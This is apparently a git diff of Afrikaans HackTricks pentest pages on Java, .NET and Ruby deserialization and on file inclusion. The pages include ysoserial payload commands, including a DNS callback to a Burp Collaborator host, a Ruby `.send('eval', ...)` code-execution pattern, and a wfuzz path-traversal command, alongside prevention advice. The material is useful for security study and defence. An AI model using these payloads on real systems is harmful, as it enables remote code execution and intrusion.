Dit gaan nie net daaroor om te kyk of enige kwesbare biblioteek deur die bediener gebruik word nie. Soms kan jy in staat wees om **die data binne die geserialiseerde voorwerp te verander en sommige kontroles te omseil** (miskien gee dit jou administratiewe regte binne 'n webtoepassing).\
|
||||
As jy 'n Java geserialiseerde voorwerp vind wat na 'n webtoepassing gestuur word, **kan jy** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **gebruik om die geserialiseerde voorwerp wat gestuur word in 'n meer menslik leesbare formaat af te druk**. Om te weet watter data jy stuur, sal dit makliker wees om dit te wysig en sommige kontroles te omseil.
|
||||
As jy 'n Java geserialiseerde voorwerp vind wat na 'n webtoepassing gestuur word, **kan jy** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **gebruik om die geserialiseerde voorwerp wat gestuur word in 'n meer menslik leesbare formaat af te druk**. Dit sal makliker wees om dit te wysig en sommige kontroles te omseil as jy weet watter data jy stuur.
|
||||
|
||||
### **Uitbuiting**
|
||||
### **Aanval**
|
||||
|
||||
#### **ysoserial**
|
||||
|
||||
Die hoofinstrument om Java deserialisasies uit te buit is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**laai hier af**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Jy kan ook oorweeg om [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) te gebruik wat jou in staat sal stel om komplekse bevele te gebruik (met pype byvoorbeeld).\
|
||||
Let daarop dat hierdie instrument **gefokus** is op die uitbuiting van **`ObjectInputStream`**.\
|
||||
Ek sou **begin deur die "URLDNS"** lading **te gebruik voordat 'n RCE** lading om te toets of die inspuiting moontlik is. Hoe dan ook, let daarop dat die "URLDNS" lading dalk nie werk nie, maar 'n ander RCE lading wel.
|
||||
Ek sou **begin deur die "URLDNS"** lading **voor 'n RCE** lading te gebruik om te toets of die inspuiting moontlik is. Hoe dan ook, let daarop dat die "URLDNS" lading dalk nie werk nie, maar 'n ander RCE lading wel.
|
||||
```bash
|
||||
# PoC to make the application perform a DNS req
|
||||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||||
|
@ -448,12 +448,12 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
|||
```
|
||||
#### serialkillerbypassgadgets
|
||||
|
||||
Jy kan **gebruik maak van** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **sames met ysoserial om meer aanvalle te skep**. Meer inligting oor hierdie instrument in die **aantekeninge van die aanbieding** waar die instrument aangebied is: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
|
||||
Jy kan **gebruik maak van** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **sames met ysoserial om meer exploits te skep**. Meer inligting oor hierdie instrument in die **aantekeninge van die aanbieding** waar die instrument aangebied is: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
|
||||
|
||||
#### marshalsec
|
||||
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec)kan gebruik word om lading te genereer om verskillende **Json** en **Yml** serialisasie biblioteke in Java te benut.\
|
||||
Om die projek saam te stel moes ek hierdie **afhanklikhede** by `pom.xml` **toevoeg**:
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec)kan gebruik word om payloads te genereer om verskillende **Json** en **Yml** serialisasie biblioteke in Java te benut.\
|
||||
Om die projek saam te stel, moes ek hierdie **afhanklikhede** by `pom.xml` **toevoeg**:
|
||||
```markup
|
||||
<dependency>
|
||||
<groupId>javax.activation</groupId>
|
||||
|
@ -484,12 +484,12 @@ Lees meer oor hierdie Java JSON-biblioteek: [https://www.alphabot.com/security/b
|
|||
|
||||
### Waarom
|
||||
|
||||
Java gebruik baie serialisasie vir verskeie doeleindes soos:
|
||||
Java gebruik baie serialisering vir verskeie doeleindes soos:
|
||||
|
||||
* **HTTP-versoeke**: Serialisasie word wyd gebruik in die bestuur van parameters, ViewState, koekies, ens.
|
||||
* **RMI (Remote Method Invocation)**: Die Java RMI-protokol, wat heeltemal op serialisasie steun, is 'n hoeksteen vir afgeleë kommunikasie in Java-toepassings.
|
||||
* **RMI oor HTTP**: Hierdie metode word algemeen deur Java-gebaseerde dik klient-webtoepassings gebruik, wat serialisasie vir alle objekkommunikasies benut.
|
||||
* **JMX (Java Management Extensions)**: JMX benut serialisasie vir die oordra van objekte oor die netwerk.
|
||||
* **HTTP-versoeke**: Serialisering word wyd gebruik in die bestuur van parameters, ViewState, koekies, ens.
|
||||
* **RMI (Remote Method Invocation)**: Die Java RMI-protokol, wat heeltemal op serialisering staatmaak, is 'n hoeksteen vir afgeleë kommunikasie in Java-toepassings.
|
||||
* **RMI oor HTTP**: Hierdie metode word algemeen deur Java-gebaseerde dik klient-webtoepassings gebruik, wat serialisering vir alle objekkommunikasies benut.
|
||||
* **JMX (Java Management Extensions)**: JMX maak gebruik van serialisering vir die oordrag van objekte oor die netwerk.
|
||||
* **Aangepaste Protokolle**: In Java behels die standaard praktyk die oordrag van rou Java-objekte, wat in opkomende uitbuitingsvoorbeelde gedemonstreer sal word.
|
||||
|
||||
### Voorkoming
|
||||
|
@ -505,7 +505,7 @@ private transient double margin; // declared transient
|
|||
```
|
||||
#### Vermy Serialisering van 'n klas wat `Serializable` moet implementeer
|
||||
|
||||
In situasies waar sekere **voorwerpe die `Serializable`-koppelvlak moet implementeer** as gevolg van klas-hierargie, is daar 'n risiko van onbedoelde deserialisering. Om dit te voorkom, moet daar verseker word dat hierdie voorwerpe nie deserialiseerbaar is deur 'n `final` `readObject()`-metode te definieer wat konsekwent 'n uitsondering gooi, soos hieronder getoon:
|
||||
In situasies waar sekere **voorwerpe die `Serializable`-**koppelvlak moet implementeer as gevolg van klas-hierargie, is daar 'n risiko van onbedoelde deserialisering. Om dit te voorkom, moet daar verseker word dat hierdie voorwerpe nie deserialiseerbaar is deur 'n `final` `readObject()`-metode te definieer wat konsekwent 'n uitsondering gooi, soos hieronder getoon:
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
|
@ -513,12 +513,12 @@ throw new java.io.IOException("Cannot be deserialized");
|
|||
```
|
||||
#### **Verbetering van Deserialisering Sekuriteit in Java**
|
||||
|
||||
**Aanpassing van `java.io.ObjectInputStream`** is 'n praktiese benadering vir die beveiliging van deserialisering prosesse. Hierdie metode is geskik wanneer:
|
||||
**Aanpassing van `java.io.ObjectInputStream`** is 'n praktiese benadering vir die beveiliging van deserialiseringsprosesse. Hierdie metode is geskik wanneer:
|
||||
|
||||
* Die deserialisering kode onder jou beheer is.
|
||||
* Die deserialiseringskode onder jou beheer is.
|
||||
* Die klasse wat vir deserialisering verwag word, bekend is.
|
||||
|
||||
Oorskryf die **`resolveClass()`** metode om deserialisering te beperk tot slegs toegelate klasse. Dit voorkom deserialisering van enige klasse behalwe dié wat uitdruklik toegelaat is, soos in die volgende voorbeeld wat deserialisering beperk tot die `Bicycle` klasse slegs:
|
||||
Oorskryf die **`resolveClass()`** metode om deserialisering te beperk tot slegs toegelate klasse. Dit voorkom deserialisering van enige klasse behalwe dié wat uitdruklik toegelaat is, soos in die volgende voorbeeld wat deserialisering beperk tot die `Bicycle`-klas slegs:
|
||||
```java
|
||||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||
|
@ -565,7 +565,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
|||
|
||||
* **NotSoSerial** onderskep deserialiseringsprosesse om die uitvoering van onbetroubare kode te voorkom.
|
||||
* **jdeserialize** maak die analise van geserialiseerde Java-voorwerpe moontlik sonder om hulle te deserialiseer, wat help om potensieel skadelike inhoud te identifiseer.
|
||||
* **Kryo** is 'n alternatiewe serialiseringsraamwerk wat spoed en doeltreffendheid beklemtoon, met aanpasbare serialiseringsstrategieë wat die veiligheid kan verbeter.
|
||||
* **Kryo** is 'n alternatiewe serialiseringsraamwerk wat spoed en doeltreffendheid beklemtoon, en bied konfigureerbare serialiseringsstrategieë wat die sekuriteit kan verbeter.
|
||||
|
||||
### Verwysings
|
||||
|
||||
|
@ -591,7 +591,7 @@ Vind wat **JNDI Injection** is, hoe om dit te misbruik via RMI, CORBA & LDAP en
|
|||
|
||||
## JMS - Java Boodskapdiens
|
||||
|
||||
> Die **Java Boodskapdiens** (**JMS**) API is 'n Java-boodskapgeoriënteerde middleware API vir die stuur van boodskappe tussen twee of meer kliënte. Dit is 'n implementering om die produsent-verbruiker-probleem te hanteer. JMS is 'n deel van die Java Platform, Enterprise Edition (Java EE), en is gedefinieer deur 'n spesifikasie wat ontwikkel is deur Sun Microsystems, maar wat sedertien deur die Java-gemeenskapsproses begelei is. Dit is 'n boodskapstandaard wat toelaat dat toepassingskomponente gebaseer op Java EE boodskappe kan skep, stuur, ontvang, en lees. Dit maak die kommunikasie tussen verskillende komponente van 'n verspreide toepassing losgekoppel, betroubaar, en asinkroon. (Vanaf [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
|
||||
> Die **Java Boodskapdiens** (**JMS**) API is 'n Java boodskapgeoriënteerde middleware API vir die stuur van boodskappe tussen twee of meer kliënte. Dit is 'n implementering om die produsent-verbruiker-probleem te hanteer. JMS is 'n deel van die Java Platform, Enterprise Edition (Java EE), en is gedefinieer deur 'n spesifikasie wat ontwikkel is deur Sun Microsystems, maar wat sedertien deur die Java-gemeenskapsproses gelei is. Dit is 'n boodskapstandaard wat toelaat dat toepassingskomponente gebaseer op Java EE boodskappe kan skep, stuur, ontvang, en lees. Dit maak die kommunikasie tussen verskillende komponente van 'n verspreide toepassing losgekoppel, betroubaar, en asinkroon. (Vanaf [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
|
||||
|
||||
### Produkte
|
||||
|
||||
|
@ -603,12 +603,12 @@ Daar is verskeie produkte wat hierdie middleware gebruik om boodskappe te stuur:
|
|||
|
||||
### Uitbuiting
|
||||
|
||||
Dus, daar is basies 'n **klomp dienste wat JMS op 'n gevaarlike manier gebruik**. Daarom, as jy **genoeg voorregte** het om boodskappe na hierdie dienste te stuur (gewoonlik sal jy geldige geloofsbriewe benodig) kan jy in staat wees om **skadelike voorwerpe geserialiseer te stuur wat deur die verbruiker/gebruiker gedeserialiseer sal word**.\
|
||||
Dus, daar is basies 'n **klomp dienste wat JMS op 'n gevaarlike manier gebruik**. Daarom, as jy **genoeg voorregte** het om boodskappe na hierdie dienste te stuur (gewoonlik sal jy geldige geloofsbriewe benodig), kan jy **skadelike voorwerpe geserializeer stuur wat deur die verbruiker/gebruiker gedeserializeer sal word**.\
|
||||
Dit beteken dat in hierdie uitbuiting al die **kliënte wat daardie boodskap gaan gebruik, geïnfekteer sal word**.
|
||||
|
||||
Onthou dat selfs as 'n diens kwesbaar is (omdat dit onveilig gebruikersinvoer deserialiseer) moet jy steeds geldige gadgets vind om die kwesbaarheid te benut.
|
||||
Onthou dat selfs as 'n diens kwesbaar is (omdat dit onveilig gebruikersinvoer deserialiseer) jy steeds geldige gadgets moet vind om die kwesbaarheid te benut.
|
||||
|
||||
Die instrument [JMET](https://github.com/matthiaskaiser/jmet) is geskep om **te koppel en hierdie dienste aan te val deur verskeie skadelike voorwerpe geserialiseer te stuur wat bekende gadgets gebruik**. Hierdie aanvalle sal werk as die diens steeds kwesbaar is en as enige van die gebruikte gadgets binne die kwesbare aansoek is.
|
||||
Die instrument [JMET](https://github.com/matthiaskaiser/jmet) is geskep om **te koppel en hierdie dienste aan te val deur verskeie skadelike voorwerpe geserializeer te stuur wat bekende gadgets gebruik**. Hierdie aanvalle sal werk as die diens steeds kwesbaar is en as enige van die gebruikte gadgets binne die kwesbare aansoek is.
|
||||
|
||||
### Verwysings
|
||||
|
||||
|
@ -635,24 +635,24 @@ Die soektog moet gemik wees op die Base64-geënkripteerde string **AAEAAAD/////*
|
|||
|
||||
### ysoserial.net
|
||||
|
||||
In hierdie geval kan jy die gereedskap [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) gebruik om die deserialisering-uitbuitings te **skep**. Nadat jy die git-opslagplaas afgelaai het, moet jy die gereedskap **kompileer** deur byvoorbeeld Visual Studio te gebruik.
|
||||
In hierdie geval kan jy die instrument [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) gebruik om die deserialisering-uitbuitings te **skep**. Nadat jy die git-opslagplaas afgelaai het, moet jy die instrument **kompileer** deur byvoorbeeld Visual Studio te gebruik.
|
||||
|
||||
As jy wil leer oor **hoe ysoserial.net sy uitbuiting skep**, kan jy [**hierdie bladsy besoek waar die ObjectDataProvider-gadget + ExpandedWrapper + Json.Net-formatter verduidelik word**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
|
||||
Die hoofopsies van **ysoserial.net** is: **`--gadget`**, **`--formatter`**, **`--output`** en **`--plugin`.**
|
||||
|
||||
* **`--gadget`** word gebruik om die gadget aan te dui wat misbruik moet word (dui die klas/funksie aan wat tydens deserialisering misbruik sal word om opdragte uit te voer).
|
||||
* **`--gadget`** word gebruik om die gadget aan te dui wat misbruik moet word (dui die klas/funksie aan wat tydens deserialisering misbruik sal word om bevele uit te voer).
|
||||
* **`--formatter`**, gebruik om die metode aan te dui om die uitbuiting te serializeer (jy moet weet watter biblioteek die agterkant gebruik om die nutlading te deserialiseer en dieselfde gebruik om dit te serializeer)
|
||||
* **`--output`** word gebruik om aan te dui of jy die uitbuiting in **rof** of **Base64**-geënkripteerde vorm wil hê. _Merk op dat **ysoserial.net** die nutlading sal **enkripteer** met behulp van **UTF-16LE** (enkodering wat standaard op Windows gebruik word), dus as jy die rof kry en dit net vanaf 'n Linux-konsole enkodeer, mag jy enige **enkoderingsverenigbaarheidsprobleme** hê wat die uitbuiting verhoed om behoorlik te werk (in HTB JSON-boks het die nutlading in beide UTF-16LE en ASCII gewerk, maar dit beteken nie dat dit altyd sal werk nie)._
|
||||
* **`--output`** word gebruik om aan te dui of jy die uitbuiting in **roaw** of **base64**-geënkripteer wil hê. _Let daarop dat **ysoserial.net** die nutlading sal **enkripteer** met behulp van **UTF-16LE** (enkripsie wat standaard op Windows gebruik word), so as jy die roaw kry en dit net van 'n Linux-konsole enkripteer, mag jy enkele **enkripsie-verenigbaarheidsprobleme** hê wat die uitbuiting van behoorlik werk sal voorkom (in HTB JSON-boks het die nutlading in beide UTF-16LE en ASCII gewerk, maar dit beteken nie dat dit altyd sal werk nie)._
|
||||
* **`--plugin`** ysoserial.net ondersteun plugins om **uitbuitings vir spesifieke raamwerke** soos ViewState te skep
|
||||
|
||||
#### Meer ysoserial.net parameters
|
||||
|
||||
* `--minify` sal 'n **kleiner nutlading** voorsien (indien moontlik)
|
||||
* `--raf -f Json.Net -c "iets"` Dit sal al die gadgets aandui wat met 'n verskafte formatter (`Json.Net` in hierdie geval) gebruik kan word
|
||||
* `--sf xml` jy kan 'n gadget aandui (`-g`) en ysoserial.net sal soek na formatters wat "xml" bevat (hooflettergevoelig)
|
||||
* `--sf xml` jy kan 'n gadget aandui (`-g`) en ysoserial.net sal soek vir formatters wat "xml" bevat (hooflettergevoelig)
|
||||
|
||||
**ysoserial voorbeelde** om uitbuitings te skep:
|
||||
**ysoserial-voorbeelde** om uitbuitings te skep:
|
||||
```bash
|
||||
#Send ping
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
||||
|
@ -697,26 +697,26 @@ TypeNameHandling = TypeNameHandling.Auto
|
|||
return obj;
|
||||
}
|
||||
```
|
||||
In die **vorige kode is kwesbaar vir die skep van uitbuitings**. Dus, as jy iets soortgelyks in 'n .Net-toepassing vind, beteken dit waarskynlik dat daardie toepassing ook kwesbaar is.\
|
||||
Daarom stel die **`--toets`** parameter ons in staat om te verstaan **watter stukke kode kwesbaar is** vir die deserialisasie-uitbuiting wat **ysoserial.net** kan skep.
|
||||
In die **vorige kode is kwesbaar vir die skep van 'n aanval**. Dus, as jy iets soortgelyks in 'n .Net-toepassing vind, beteken dit waarskynlik dat daardie toepassing ook kwesbaar is.\
|
||||
Daarom stel die **`--toets`** parameter ons in staat om te verstaan **watter stukke kode kwesbaar is** vir die deserialisasie-aanval wat **ysoserial.net** kan skep.
|
||||
|
||||
### ViewState
|
||||
|
||||
Neem 'n kyk na [hierdie POST oor **hoe om te probeer om die \_\_ViewState-parameter van .Net te benut**](exploiting-\_\_viewstate-parameter.md) om **arbitrêre kode uit te voer**. As jy **reeds die geheime** wat deur die slagoffer-masjien gebruik word, ken, [**lees hierdie pos om te weet hoe om kode uit te voer**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
|
||||
Neem 'n kyk na [hierdie POST oor **hoe om te probeer om die \_\_ViewState-parameter van .Net te benut**](exploiting-\_\_viewstate-parameter.md) om **arbitrêre kode uit te voer**. As jy **reeds die geheime** ken wat deur die slagoffer se masjien gebruik word, [**lees hierdie pos om te weet hoe om kode uit te voer**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
|
||||
|
||||
### Voorkoming
|
||||
|
||||
Om die risiko's wat verband hou met deserialisasie in .Net te verminder:
|
||||
|
||||
* **Vermy dat datastrome hul objektipes definieer.** Maak gebruik van `DataContractSerializer` of `XmlSerializer` waar moontlik.
|
||||
* **Stel vir `JSON.Net`, `TypeNameHandling` in op `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
|
||||
* **Stel vir `JSON.Net` `TypeNameHandling` in op `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
|
||||
* **Vermy die gebruik van `JavaScriptSerializer` met 'n `JavaScriptTypeResolver`.**
|
||||
* **Beperk die tipes wat gedeserialiseer kan word**, met begrip vir die inherente risiko's met .Net-tipes, soos `System.IO.FileInfo`, wat bedienerslêer-eienskappe kan wysig, wat moontlik kan lei tot ontkenning van diensaanvalle.
|
||||
* **Beperk die tipes wat gedeserialiseer kan word**, deur die inherente risiko's met .Net-tipes te verstaan, soos `System.IO.FileInfo`, wat bedienerslêer-eienskappe kan wysig, wat moontlik tot ontkenning van diensaanvalle kan lei.
|
||||
* **Wees versigtig met tipes wat risikovolle eienskappe het**, soos `System.ComponentModel.DataAnnotations.ValidationException` met sy `Value`-eienskap, wat uitgebuit kan word.
|
||||
* **Beheer tipe-instantiëring veilig** om aanvallers te verhoed om die deserialisasieproses te beïnvloed, wat selfs `DataContractSerializer` of `XmlSerializer` kwesbaar kan maak.
|
||||
* **Implementeer witlysbeheer** deur 'n aangepaste `SerializationBinder` vir `BinaryFormatter` en `JSON.Net`.
|
||||
* **Beheer tipe-instantiëring veilig** om te voorkom dat aanvallers die deserialisasieproses beïnvloed, wat selfs `DataContractSerializer` of `XmlSerializer` kwesbaar kan maak.
|
||||
* **Implementeer witlysbeheer** deur 'n aangepaste `SerializationBinder` vir `BinaryFormatter` en `JSON.Net` te gebruik.
|
||||
* **Bly ingelig oor bekende onveilige deserialisasie-gadgets** binne .Net en verseker dat deserialiseerders nie sulke tipes instansieer nie.
|
||||
* **Isoleer potensieel risikovolle kode** van kode met internettoegang om bekende gadgets, soos `System.Windows.Data.ObjectDataProvider` in WPF-toepassings, te vermy om aan onbetroubare data-bronne bloot te stel.
|
||||
* **Isoleer potensieel risikovolle kode** van kode met internettoegang om bekende gadgets, soos `System.Windows.Data.ObjectDataProvider` in WPF-toepassings, te vermy wat aan onbetroubare data-bronne blootgestel word.
|
||||
|
||||
### **Verwysings**
|
||||
|
||||
|
@ -727,9 +727,9 @@ Om die risiko's wat verband hou met deserialisasie in .Net te verminder:
|
|||
|
||||
## **Ruby**
|
||||
|
||||
In Ruby word serialisasie fasiliteer deur twee metodes binne die **marshal**-biblioteek. Die eerste metode, bekend as **dump**, word gebruik om 'n objek in 'n byte-stroom te omskep. Hierdie proses word serialisasie genoem. Omgekeerd word die tweede metode, **load**, gebruik om 'n byte-stroom terug na 'n objek te herstel, 'n proses wat deserialisasie genoem word.
|
||||
In Ruby word serialisasie fasiliteer deur twee metodes binne die **marshal**-biblioteek. Die eerste metode, bekend as **dump**, word gebruik om 'n voorwerp in 'n byte-stroom te omskep. Hierdie proses word serialisasie genoem. Omgekeerd word die tweede metode, **load**, gebruik om 'n byte-stroom terug in 'n voorwerp te omskep, 'n proses wat deserialisasie genoem word.
|
||||
|
||||
Vir die beveiliging van geserialiseerde objekte, **maak Ruby gebruik van HMAC (Hash-Based Message Authentication Code)**, wat die integriteit en egtheid van die data verseker. Die sleutel wat hiervoor gebruik word, word gestoor op een van verskeie moontlike plekke:
|
||||
Vir die beveiliging van geserialiseerde voorwerpe, **maak Ruby gebruik van HMAC (Hash-Based Message Authentication Code)**, wat die integriteit en egtheid van die data verseker. Die sleutel wat hiervoor gebruik word, word gestoor op een van verskeie moontlike plekke:
|
||||
|
||||
* `config/environment.rb`
|
||||
* `config/initializers/secret_token.rb`
|
||||
|
@ -809,15 +809,54 @@ puts Base64.encode64(payload)
|
|||
```
|
||||
Ander RCE-ketting om Ruby On Rails te benut: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
|
||||
### Ruby .send() metode
|
||||
|
||||
Soos verduidelik in [**hierdie kwesbaarheidsverslag**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), as enige gebruiker ongesaniteerde inset die `.send()` metode van 'n ruby-voorwerp bereik, laat hierdie metode toe om **enige ander metode** van die voorwerp met enige parameters aan te roep.
|
||||
|
||||
Byvoorbeeld, deur eval te roep en dan ruby-kode as tweede parameter sal dit toelaat om willekeurige kode uit te voer:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```ruby
|
||||
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Verder, as slegs een parameter van **`.send()`** beheer word deur 'n aanvaller, soos genoem in die vorige skryfstuk, is dit moontlik om enige metode van die objek te roep wat **geen argumente benodig** of waarvan die argumente **standaardwaardes** het.\
|
||||
Hiervoor is dit moontlik om al die metodes van die objek te ontluit om **interessante metodes te vind wat aan daardie vereistes voldoen**.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```ruby
|
||||
<Object>.send('<user_input>')
|
||||
|
||||
# This code is taken from the original blog post
|
||||
# <Object> in this case is Repository
|
||||
## Find methods with those requirements
|
||||
repo = Repository.find(1) # get first repo
|
||||
repo_methods = [ # get names of all methods accessible by Repository object
|
||||
repo.public_methods(),
|
||||
repo.private_methods(),
|
||||
repo.protected_methods(),
|
||||
].flatten()
|
||||
|
||||
repo_methods.length() # Initial number of methods => 5542
|
||||
|
||||
## Filter by the arguments requirements
|
||||
candidate_methods = repo_methods.select() do |method_name|
|
||||
[0, -1].include?(repo.method(method_name).arity())
|
||||
end
|
||||
candidate_methods.length() # Final number of methods=> 3595
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
|
|
|
@ -1,14 +1,14 @@
|
|||
# Lêer Insluiting/Pad deursigtigheid
|
||||
# Lêer Insluiting/Pad deursnuffeling
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
@ -18,20 +18,20 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!
|
||||
|
||||
**Hakinsigte**\
|
||||
Betrokkenheid by inhoud wat die opwinding en uitdagings van hak bevat
|
||||
**Hakwerk Insigte**\
|
||||
Betrokkenheid by inhoud wat die opwinding en uitdagings van hakwerk ondersoek
|
||||
|
||||
**Reële-Tyd Hak Nuus**\
|
||||
Bly op hoogte van die snelveranderende hakwêreld deur middel van nuus en insigte in werklikheid
|
||||
**Reële-Tyd Haknuus**\
|
||||
Bly op hoogte van die snelbewegende hakwêreld deur middel van reële-tyd nuus en insigte
|
||||
|
||||
**Nuutste Aankondigings**\
|
||||
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en noodsaaklike platformopdaterings
|
||||
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
|
||||
|
||||
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||||
|
||||
## Lêer Insluiting
|
||||
|
||||
**Verre Lêer Insluiting (RFI):** Die lêer word gelaai vanaf 'n verre bediener (Beste: Jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit **gestrem** per verstek (**allow\_url\_include**).\
|
||||
**Verre Lêer Insluiting (RFI):** Die lêer word gelaai vanaf 'n verre bediener (Beste: Jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit **gestrem** standaard (**allow\_url\_include**).\
|
||||
**Plaaslike Lêer Insluiting (LFI):** Die bediener laai 'n plaaslike lêer.
|
||||
|
||||
Die kwesbaarheid kom voor wanneer die gebruiker op een of ander manier die lêer kan beheer wat deur die bediener gelaai gaan word.
|
||||
|
@ -53,7 +53,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
|||
Probeer ook om `/` te verander na `\`\
|
||||
Probeer ook om `../../../../../` by te voeg
|
||||
|
||||
'n Lys wat verskeie tegnieke gebruik om die lêer /etc/password te vind (om te kyk of die kwesbaarheid bestaan) kan [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) gevind word.
|
||||
'n lys wat verskeie tegnieke gebruik om die lêer /etc/password te vind (om te kyk of die kwesbaarheid bestaan) kan [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) gevind word
|
||||
|
||||
### **Windows**
|
||||
|
||||
|
@ -64,15 +64,15 @@ Saamvoeging van verskillende woordlyste:
|
|||
Probeer ook om `/` te verander na `\`\
|
||||
Probeer ook om `C:/` te verwyder en `../../../../../` by te voeg
|
||||
|
||||
